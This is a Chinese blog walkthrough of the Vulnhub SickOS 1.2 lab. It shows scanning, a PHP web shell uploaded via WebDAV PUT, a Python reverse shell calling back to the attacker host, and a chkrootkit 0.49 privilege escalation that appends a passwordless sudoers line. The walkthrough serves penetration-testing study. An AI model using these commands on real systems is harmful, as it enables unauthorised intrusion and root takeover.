Vulnhub 靶机渗透：SICKOS: 1.2

已于 2023-06-08 22:04:30 修改
阅读量1.1k 收藏 2
点赞数
分类专栏： 打靶 渗透测试 vulnhub 文章标签： 网络安全 web安全
于 2023-06-07 22:41:03 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Mysmycbx/article/details/131096040
版权
打靶 同时被 3 个专栏收录
35 篇文章 0 订阅
订阅专栏
渗透测试
35 篇文章 0 订阅
订阅专栏
vulnhub
30 篇文章 1 订阅
订阅专栏

SICKOS: 1.2


在这里插入图片描述

https://www.vulnhub.com/entry/sickos-12,144/

靶机IP：192.168.54.30
kali IP: 192.168.54.128

nmap 扫描

端口扫描

# Nmap 7.93 scan initiated Wed Jun  7 20:06:08 2023 as: nmap --min-rate 5000 -p- -oN nmap/ports 192.168.54.30
Nmap scan report for 192.168.54.30
Host is up (0.00032s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:EE:DF:26 (VMware)

# Nmap done at Wed Jun  7 20:06:34 2023 -- 1 IP address (1 host up) scanned in 26.68 seconds

详细扫描

# Nmap 7.93 scan initiated Wed Jun  7 20:07:05 2023 as: nmap -sT -sC -sV -O -p22,80 -oN nmap/details 192.168.54.30
Nmap scan report for 192.168.54.30
Host is up (0.00052s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 668cc0f2857c6cc0f6ab7d480481c2d4 (DSA)
|   2048 ba86f5eecc83dfa63ffdc134bb7e62ab (RSA)
|_  256 a16cfa18da571d332c52e4ec97e29eaf (ECDSA)
80/tcp open  http    lighttpd 1.4.28
|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:EE:DF:26 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun  7 20:07:18 2023 -- 1 IP address (1 host up) scanned in 14.21 seconds

漏洞扫描

# Nmap 7.93 scan initiated Wed Jun  7 20:07:30 2023 as: nmap --script=vuln -p22,80 -oN nmap/vuln 192.168.54.30
Nmap scan report for 192.168.54.30
Host is up (0.00031s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|_  /test/: Test page
MAC Address: 00:0C:29:EE:DF:26 (VMware)

# Nmap done at Wed Jun  7 20:08:51 2023 -- 1 IP address (1 host up) scanned in 81.46 seconds

web渗透

通过nmap扫描 除了发现test目录 没有其他信息。看看test目录。
在这里插入图片描述
发现了lighttpd/1.4.28，使用searchsploit 搜索一下，发现一些漏洞，

# yunki @ yunki in ~/oscp/9.SICKOS:1.2 [21:11:40] C:127
$ searchsploit lighttpd                                                
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                           |  Path
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
lighttpd - Denial of Service (PoC)                                                                                                       | linux/dos/18295.txt
Lighttpd 1.4.15 - Multiple Code Execution / Denial of Service / Information Disclosure Vulnerabilities                                   | windows/remote/30322.rb
Lighttpd 1.4.16 - FastCGI Header Overflow Remote Command Execution                                                                       | multiple/remote/4391.c
Lighttpd 1.4.17 - FastCGI Header Overflow Arbitrary Code Execution                                                                       | linux/remote/4437.c
lighttpd 1.4.31 - Denial of Service (PoC)                                                                                                | linux/dos/22902.sh
Lighttpd 1.4.x - mod_userdir Information Disclosure                                                                                      | linux/remote/31396.txt
lighttpd 1.4/1.5 - Slow Request Handling Remote Denial of Service                                                                        | linux/dos/33591.sh
Lighttpd < 1.4.23 (BSD/Solaris) - Source Code Disclosure                                                                                 | multiple/remote/8786.txt
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

经过一些尝试，发现h好像都没有作用。

gobuster扫描

gobuster dir --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x zip,html,rar,txt,sql,jsp,php --url http://192.168.54.30/ --no-error| tee gobuster.log  
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.54.30/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              zip,html,rar,txt,sql,jsp,php
[+] Timeout:                 10s
===============================================================
2023/06/07 21:14:01 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 163]
/test                 (Status: 301) [Size: 0] [--> http://192.168.54.30/test/]

进入到test目录进行扫描，发现了~checkout~目录，查看一下，发现403forbidden，无解。

# yunki @ yunki in ~/oscp/9.SICKOS:1.2 [21:12:47] 
$ cat gobuster.log 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.54.30/test/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,zip,html,rar,txt,sql,jsp
[+] Timeout:                 10s
===============================================================
2023/06/07 20:10:14 Starting gobuster in directory enumeration mode
===============================================================
/%7Echeckout%7E       (Status: 403) [Size: 345]
===============================================================
2023/06/07 20:15:43 Finished

nikto漏洞扫描

$ nikto -h http://192.168.54.30 

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.54.30
+ Target Hostname:    192.168.54.30
+ Target Port:        80
+ Start Time:         2023-06-07 20:35:26 (GMT8)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.28
+ /: Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST .
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /test/: Directory indexing found.
+ /test/: This might be interesting.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2023-06-07 20:35:46 (GMT8) (20 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

这里显示找到wp-config.php，但是查看的时候并没有看到，现在陷入了僵局，80端口，没有突破口，22端口没有任何信息。

思考

这里存在一个test文件夹，但是没有任何文件，那有没有可能上传文件上去呢？
先用curl测试一下该url有哪些请求方法。

继续

# yunki @ yunki in ~/oscp/9.SICKOS:1.2 [21:17:14] 
$ curl -v -X OPTIONS http://192.168.54.30/test/                                                                                  
*   Trying 192.168.54.30:80...
* Connected to 192.168.54.30 (192.168.54.30) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 192.168.54.30
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Allow: OPTIONS, GET, HEAD, POST
< Content-Length: 0
< Date: Wed, 07 Jun 2023 21:18:47 GMT
< Server: lighttpd/1.4.28
< 
* Connection #0 to host 192.168.54.30 left intact

这里curl -v -X OPTIONS http://192.168.54.30/test/

  • -v：–verbose 显示详细信息
  • -X：参数指定请求类型为 OPTIONS，即 HTTP 协议中的请求方法之一，用于询问服务器是否支持特定的请求方法。
    通过观察结果，可以发现，可以通过PUT访问test目录。先尝试上传一个phpinfo页面试一试。
# yunki @ yunki in ~/oscp/9.SICKOS:1.2 [21:21:38] 
$ curl -X PUT -H "Content-Type: application/x-http-php" -d '<?php phpinfo();?>' http://192.168.54.30/test/phpinfo.php

在这里插入图片描述
发现目录里出现了phpinfo.php，打开看看是否生效，
在这里插入图片描述
It works! 下面上传一个马上去。

# yunki @ yunki in ~/oscp/9.SICKOS:1.2 [21:22:02] 
$ curl -X PUT -H "Content-Type: application/x-http-php" -d '<?php system($_GET["cmd"]);?>' http://192.168.54.30/test/shell.php

# yunki @ yunki in ~/oscp/9.SICKOS:1.2 [21:23:49] 
$ curl http://192.168.54.30/test/shell.php\?cmd\=id                                                                           
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# yunki @ yunki in ~/oscp/9.SICKOS:1.2 [21:25:22] 
$ curl http://192.168.54.30/test/shell.php\?cmd\=whoami
www-data

然后开启监听端口，然后开启反弹shell（尝试/bin/bash 和/bin/sh都失败了，尝试python）。注意：好像有的端口进行了限制，我一般都是用443端口
网上搜索python反弹shell，使用本地ip和端口，构造url 如下：
访问http://192.168.54.30/test/shell.php?cmd=export%20RHOST=%22192.168.54.128%22;export%20RPORT=443;python%20-c%20%27import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)];pty.spawn(%22/bin/bash%22)%27

获得立足点

# yunki @ yunki in ~/oscp/9.SICKOS:1.2 [21:26:28] 
$ sudo nc -lnvp 443                                            
[sudo] yunki 的密码：
listening on [any] 443 ...
connect to [192.168.54.128] from (UNKNOWN) [192.168.54.30] 60417
www-data@ubuntu:/var/www/test$ whoami
whoami
www-data
www-data@ubuntu:/var/www/test$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu:/var/www/test$ uname -a
uname -a
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

提权1

逛了一圈，无法curl，无法wget，手动信息收集，没有suid权限。但是cat /etc/crontab什么都没有。怎么办呢，查看笔记，发现不止一个定时任务路径。

www-data@ubuntu:/tmp$ ls -liah /etc/cron* 2>/dev/null
ls -liah /etc/cron* 2>/dev/null
131437 -rw-r--r-- 1 root root  722 Jun 19  2012 /etc/crontab

/etc/cron.daily:
total 72K
131120 drwxr-xr-x  2 root root 4.0K Apr 12  2016 .
131073 drwxr-xr-x 84 root root 4.0K Jun  7 12:45 ..
131441 -rw-r--r--  1 root root  102 Jun 19  2012 .placeholder
131253 -rwxr-xr-x  1 root root  16K Nov 15  2013 apt
131619 -rwxr-xr-x  1 root root  314 Apr 18  2013 aptitude
131945 -rwxr-xr-x  1 root root  502 Mar 31  2012 bsdmainutils
132776 -rwxr-xr-x  1 root root 2.0K Jun  4  2014 chkrootkit
131121 -rwxr-xr-x  1 root root  256 Oct 14  2013 dpkg
132749 -rwxr-xr-x  1 root root  338 Dec 20  2011 lighttpd
131477 -rwxr-xr-x  1 root root  372 Oct  4  2011 logrotate
131960 -rwxr-xr-x  1 root root 1.4K Dec 28  2012 man-db
131965 -rwxr-xr-x  1 root root  606 Aug 17  2011 mlocate
131273 -rwxr-xr-x  1 root root  249 Sep 12  2012 passwd
131377 -rwxr-xr-x  1 root root 2.4K Jul  1  2011 popularity-contest
131442 -rwxr-xr-x  1 root root 2.9K Jun 19  2012 standard

/etc/cron.hourly:
total 12K
131443 drwxr-xr-x  2 root root 4.0K Mar 30  2016 .
131073 drwxr-xr-x 84 root root 4.0K Jun  7 12:45 ..
131444 -rw-r--r--  1 root root  102 Jun 19  2012 .placeholder

/etc/cron.monthly:
total 12K
131431 drwxr-xr-x  2 root root 4.0K Mar 30  2016 .
131073 drwxr-xr-x 84 root root 4.0K Jun  7 12:45 ..
131432 -rw-r--r--  1 root root  102 Jun 19  2012 .placeholder

/etc/cron.weekly:
total 20K
131433 drwxr-xr-x  2 root root 4.0K Mar 30  2016 .
131073 drwxr-xr-x 84 root root 4.0K Jun  7 12:45 ..
131434 -rw-r--r--  1 root root  102 Jun 19  2012 .placeholder
131620 -rwxr-xr-x  1 root root  730 Sep 13  2013 apt-xapian-index
131959 -rwxr-xr-x  1 root root  907 Dec 28  2012 man-db

发现cron.daily里面存在多个应用，这里比较感兴趣的是带有root的chkrootkit。使用searchsploit搜一下。

# yunki @ yunki in ~/oscp/9.SICKOS:1.2 [22:15:27] 
$ searchsploit chkrootkit
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                           |  Path
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Chkrootkit - Local Privilege Escalation (Metasploit)                                                                                     | linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalation                                                                                             | linux/local/33899.txt
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

# yunki @ yunki in ~/oscp/9.SICKOS:1.2 [22:15:30] 
$ searchsploit -m 33899             
  Exploit: Chkrootkit 0.49 - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/33899
     Path: /usr/share/exploitdb/exploits/linux/local/33899.txt
    Codes: CVE-2014-0476, OSVDB-107710
 Verified: True
File Type: ASCII text
Copied to: /home/yunki/oscp/9.SICKOS:1.2/33899.txt



# yunki @ yunki in ~/oscp/9.SICKOS:1.2 [22:15:38] 
$ cat 33899.txt 
We just found a serious vulnerability in the chkrootkit package, which
may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).

The vulnerability is located in the function slapper() in the
shellscript chkrootkit:

#
# SLAPPER.{A,B,C,D} and the multi-platform variant
#
slapper (){
   SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
   SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
   ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
   SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
   OPT=-an
   STATUS=0
   file_port=

   if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">
/dev/null 2>&1
      then
      STATUS=1
      [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
         $egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print  $7 }' |
tr -d :`
   fi
   for i in ${SLAPPER_FILES}; do
      if [ -f ${i} ]; then
         file_port=$file_port $i
         STATUS=1
      fi
   done
   if [ ${STATUS} -eq 1 ] ;then
      echo "Warning: Possible Slapper Worm installed ($file_port)"
   else
      if [ "${QUIET}" != "t" ]; then echo "not infected"; fi
         return ${NOT_INFECTED}
   fi
}


The line 'file_port=$file_port $i' will execute all files specified in
$SLAPPER_FILES as the user chkrootkit is running (usually root), if
$file_port is empty, because of missing quotation marks around the
variable assignment.

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.

If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.


Suggested fix: Put quotation marks around the assignment.

file_port="$file_port $i"


I will also try to contact upstream, although the latest version of
chkrootkit dates back to 2009 - will have to see, if I reach a dev there.

查看一下靶机的chkrootkit的版本，

www-data@ubuntu:/tmp$ whereis chkrootkid
whereis chkrootkid
chkrootkid:
www-data@ubuntu:/tmp$ whereis chkrootkit
whereis chkrootkit
chkrootkit: /usr/sbin/chkrootkit /etc/chkrootkit.conf
www-data@ubuntu:/tmp$ head /usr/sbin/chkrootkit
head /usr/sbin/chkrootkit
#! /bin/sh
# -*- Shell-script -*-

# $Id: chkrootkit, v 0.49 2009/07/30
CHKROOTKIT_VERSION='0.49'

# Authors: Nelson Murilo <nelson@pangeia.com.br> (main author) and
#          Klaus Steding-Jessen <jessen@cert.br>
#
# (c)1997-2009 Nelson Murilo, Pangeia Informatica, AMS Foundation and others.

发现是0.49，可以利用，根据poc，开始利用。

www-data@ubuntu:/tmp$ ls
ls
VMwareDnD  php.socket-0  vgauthsvclog.txt.0  vmware-root  wget-log
www-data@ubuntu:/tmp$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
D: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
www-data@ubuntu:/tmp$ chmod 777 update
chmod 777 update

等待一些时间后

www-data@ubuntu:/tmp$ sudo su
sudo su
root@ubuntu:/tmp# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:0c:29:ee:df:26 brd ff:ff:ff:ff:ff:ff
    inet 192.168.54.30/24 brd 192.168.54.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:feee:df26/64 scope link 
       valid_lft forever preferred_lft forever
root@ubuntu:/tmp# whoami
whoami
root
root@ubuntu:/tmp# uname -a
uname -a
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
root@ubuntu:/tmp# cat /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
cat /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.

提权2

在网上看到的 记录一下 命令解释在代码中

www-data@ubuntu:/var/www/test$ cd /tmp # 进入到临时文件夹中
cd /tmp
www-data@ubuntu:/tmp$ echo "echo 'www-data ALL=NOPASSWD: ALL'>>/etc/sudoers" >>1 # 将双引号的内容写到1中，其作用是www-data用户无需密码执行root权限命令的语句写入/etc/suders
www-data@ubuntu:/tmp$ cat 1 # 检查代码是否正确
echo 'www-data ALL=NOPASSWD: ALL'>>/etc/sudoers
www-data@ubuntu:/tmp$ echo 'echo "ok" >>/tmp/ok'>> 1   # 为获得提示，如果执行了该文件，则会生成一个ok文件
echo 'echo "ok" >>/tmp/ok'>> 1
www-data@ubuntu:/tmp$ ls # 查看
ls
1  VMwareDnD  php.socket-0  vgauthsvclog.txt.0  vmware-root
www-data@ubuntu:/tmp$ cat 1 # 检查代码是否有问题
cat 1
echo 'www-data ALL=NOPASSWD: ALL'>>/etc/sudoers
echo "ok" >>/tmp/ok
www-data@ubuntu:/tmp$ mv 1 /tmp/update # 没有问题，修改为poc中的update文件，
mv 1 /tmp/update
www-data@ubuntu:/tmp$ chmod +x update #赋于update文件执行权限
chmod +x update
www-data@ubuntu:/tmp$ ls # 检查是否生成ok文件，即是否执行，目前未生成
ls
VMwareDnD  php.socket-0  update  vgauthsvclog.txt.0  vmware-root
www-data@ubuntu:/tmp$ ls # 已经生成
ls
VMwareDnD  ok  php.socket-0  update  vgauthsvclog.txt.0  vmware-root
www-data@ubuntu:/tmp$ sudo su # 提权
sudo su
root@ubuntu:/tmp# whoami # 成功！
whoami
root
  • cd /tmp:
  • echo “echo ‘www-data ALL=NOPASSWD: ALL’>>/etc/sudoers” >>1
  • echo ‘echo “ok” >>/tmp/ok’>> 1

总结

  • 使用curl -X OPTIONS查看网站能够使用哪些请求方式，然后使用PUT进行上传恶意文件，例如一句话木马，反弹shell等。
  • 反弹shell时，尝试多个shell，bash，pyhton等。
  • 定时任务不止一个路径，/etc/crontab, 还有/etc/cron* ，包含/etc/cron.d,/etc/cron.daily等。
  • 定时任务里发现应用，一定要搜相关漏洞，搜到后综合多个poc进行利用。
TryHardToKeep
关注
专栏目录
靶机渗透（九）SickOs1.2
qq_42180996的博客
05-07 2620
靶机SickOs1.2 一、实验环境 二、实验步骤 （一）信息收集 1.查看测试机的IP信息，判断所处网段 2.主机发现（netdiscover） 3.端口扫描（masscan/nmap） 4.网站指纹信息扫描（whatweb） （二）Web渗透 1.浏览web网页（80端口） 2.远程登录（22端口） 3.目录扫描（dirb） （三）获取shell 1.方法一：P...
vulnhub靶机sunset:decoy渗透笔记
liver100day的博客
08-03 1246
这里写目录标题1.环境搭建2.信息收集2.1 主机发现2.2 端口扫描2.3 访问80端口（http服务）3. 漏洞利用3.1 使用压缩包密码破解工具爆破压缩文件密码3.2 爆破用户密码3.3 ssh登录4.提权5.总结 1.环境搭建 靶机环境搭建 攻击渗透机： kali IP地址：192.168.33.139 靶机：sunset:decoy IP地址未知 靶机下载地址：https://www.vulnhub.com/entry/sunset-decoy,505/ 2.信息收集 2.1 主机发现 要进行渗透
SICKOS: 1.2
MD@@nr丫卡uer
12-18 381
#1寻找目标 nmap -sS -O 192.168.1.0/24 确定ip 192.168.1.124 #2扫描端口 nmap -sS -O -sV 192.168.1.124 发现开放80端口，从web入手。 #3寻找入口 查看源代码，没东⻄。 扫描一下目录 访问瞅瞅,注意到lighttpd/1.4.28 找找有没有能利用的，没有发现能利用的 使用nikto扫描一下,看到一些信息 nikto -host 192.168.1.124 nmap看一下http中开启的methods方法，有个pu
vulnhub（9）：sickos1.2（深挖靶机的各个细节、文件管道反弹shell详解、base64编码反弹shell利用、shell脚本扫描防火墙、防火墙规则解析、密集小tips）
最新发布
anddddoooo的博客
09-18 1023
现在目录扫描：gobuster dir -u http://192.168.148.131/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt --add-slash。4.> /tmp/f 2>&1：这个命令是将/bin/sh执行的结果（标准输出）重定向到/tmp/f文件，2>&1表示标准错误输出也向标准输出那样处理，重定向到/tmp/f文件。
Vulnhub靶机 SickOs1.2
菜浪马废的博客
04-25 244
没啥有用的东西 只有一个test 可以用put方式 试了好几个端口4444 1180 1234都不行 换了443可以了 成功提权 就用了一种方法 这有个大佬，写的超级详细 传送门 ...
vulhub-SickOs: 1.2
战神/calmness的博客
05-24 240
目录 信息收集 文件包含 提权-计划任务-chkrootkit版本0.49漏洞 信息收集 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http lighttpd 1.4.28 MAC Address: 00:0C:29:BA:70:AF (VMware) Service Inf..
vulnhub SickOs: 1.2
箭雨镜屋
01-14 2757
渗透思路： nmap扫描---->dirb扫描---->通过PUT方法上传php反弹shell---->利用chkrootkit漏洞提权
Vulnhub靶机系列：De-ICE: S1.120
01-09
靶机默认ip是192.168.1.120,最好设一个对应网段的网卡给它，我的这篇文章有简单指导Vulnhub靶机系列：pWnOS: 2.0另外iso文件如何导入就不赘述了，安装完最好重启一下。完成上述步骤后可以netdiscover一下确定。 利用...
靶机渗透SickOs1.2（非常详细，适合新手渗透）
君莫hacker的博客
09-08 7322
靶机HACKME:2的目录0x01靶机描述 0x01靶机描述 靶机基本信息： 链接 https://www.vulnhub.com/entry/sickos-12,144/ 作者 D4rk 发布日期 2016年4月27日 难度 中等 靶机基本介绍： 这是SickOs后续系列中的第二个，独立于以前的版本，挑战的范围是在系统上获得最高权限。 ...
vulnhub靶机DriftingBlues: 2渗透笔记
liver100day的博客
07-26 966
文章目录环境准备1. 信息收集1.1 主机发现1.2 端口扫描1.3 访问80端口（http服务）2.漏洞利用2.1 ftp匿名登录漏洞2.2 爆破目录 环境准备 靶机环境搭建 攻击渗透机： kali IP地址：192.168.33.128 靶机：DC-7 IP地址未知 靶机下载地址：https://www.vulnhub.com/entry/driftingblues-2,634/ 1. 信息收集 1.1 主机发现 使用arp-scan -l获取目标靶机IP地址 arp-scan -l 扫描局域网所有设备
Vulnhub-靶机-SickOs 1.2
qq_43264813的博客
03-05 397
Vulnhub—靶机—SickOs 1.2 本篇文章仅用于技术交流学习和研究的目的，严禁使用文章中的技术用于非法目的和破坏，否则造成一切后果与发表本文章的作者无关 文章目录Vulnhub—靶机—SickOs 1.2一、信息收集二、漏洞利用三、Flag 一、信息收集 【步骤一】使用nmap确定目标靶机地址： 【命令】nmap -sP 192.168.43.0/24 【步骤二】对目标靶机进行全端口扫描： 【命令】nmap -n -T4 -sV -p- 192.168.43.54 【步骤三】尝试22端口弱口令
Vulnhub靶机：SickOs1.2
qq_48904485的博客
03-21 851
运行环境：Virtualbox攻击机：kali（10.0.2.4）靶机：SickOs 1.2（10.0.2.15）目标：获取靶机root权限和flag靶机下载地址：https://www.vulnhub.com/entry/sickos-12,144/
Vulnhub-SickOs:1.2
cr7lyl的博客
09-11 1019
记一次Vulnhub-SickOs1.2渗透过程
靶机实战-SickOs1.2
滕财然的博客
01-27 558
SickOs1.2靶机实战 文章目录SickOs1.2靶机实战1、主机发现2、端口扫描3、端口详细信息扫描4、访问80端口--http服务Getshell方式一Getshell方式二5、提权方式一方式二方法三//这一个方法我没成功，你们可以尝试一下 1、主机发现 arp扫描 目标IP：192.168.232.161 2、端口扫描 目标开放80、22端口 3、端口详细信息扫描 4、访问80端口...
靶机渗透实战——SickOs1.2
wlw876747595的博客
12-17 930
一、实验环境 靶机：SickOs1.2，IP地址暂时未知 测试机：Kali（IP：192.168.232.130） 测试机：物理机win7 二、实验流程 信息收集——主机发现 信息收集——端口扫描 渗透测试 三、实验步骤 （一）信息收集——主机发现 1、查看kaliIP信息 2、查看靶机页面 3、扫描主机（netdiscover） netdiscover -i e...
vulnhub靶场-sickos1.2
zzzzzzkeai的博客
12-08 300
vulnhub靶场--sickos1.2靶场
SICKOS 1.2 WALKTHROUGH
weixin_41082546的博客
08-11 407
SickOs:1.2 https://www.vulnhub.com/entry/sickos-12,144/ 首先获取目标ip地址，并探测端口 netdiscover -i eth0 -r 192.168.88.1/24 访问web，并查看源码，没有什么有用的东西 目录发现 dirbhttp://192.168.88.201 nikto -hhtt...
【vulnhub】SickOs1.2 靶机
Nicky_Zheng的博客
01-29 586
1、 信息收集 1.1、主机发现 使用netdiscover扫描靶机ip kali@kali:~$ sudo netdiscover -i eth1 6 Captured ARP Req/Rep packets, from 3 hosts. Total size: 360 _____________________________________________________________________________ IP At M
vulnhub靶机系列：
09-09
你好！关于Vulnhub靶机系列，我可以提供一些信息。Vulnhub是一个开放的漏洞测试平台，提供了一系列用于学习和实践渗透测试的虚拟机。这些虚拟机包含了各种不同的漏洞，供安全爱好者和专业人员练习渗透测试技巧。 Vulnhub上有许多靶机系列，每个系列都包含了多个不同难度级别的虚拟机。通过解决这些靶机，你可以学习到渗透测试中常见的攻击技术和漏洞利用方法。 一些著名的Vulnhub靶机系列包括： 1. Kioptrix：这是一个非常受欢迎的系列，包含了多个不同难度级别的靶机。从初级到高级的挑战，覆盖了各种网络安全知识。 2. Metasploitable：这个系列模拟了一个容易受到攻击的系统，用于学习Metasploit框架和漏洞利用。 3. SickOS：这个系列提供了一些有趣的靶机，涵盖了各种不同类型的漏洞。 4. HackTheBox：虽然HackTheBox不是Vulnhub上的系列，但它也是一个非常受欢迎的漏洞测试平台，提供了一系列具有挑战性的靶机。 这些靶机系列都可以帮助你锻炼渗透测试技能，并提供了一个实践环境来深入了解网络安全和漏洞利用的原理。希望这些信息能帮到你！如果你还有其他问题，请随时提问。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
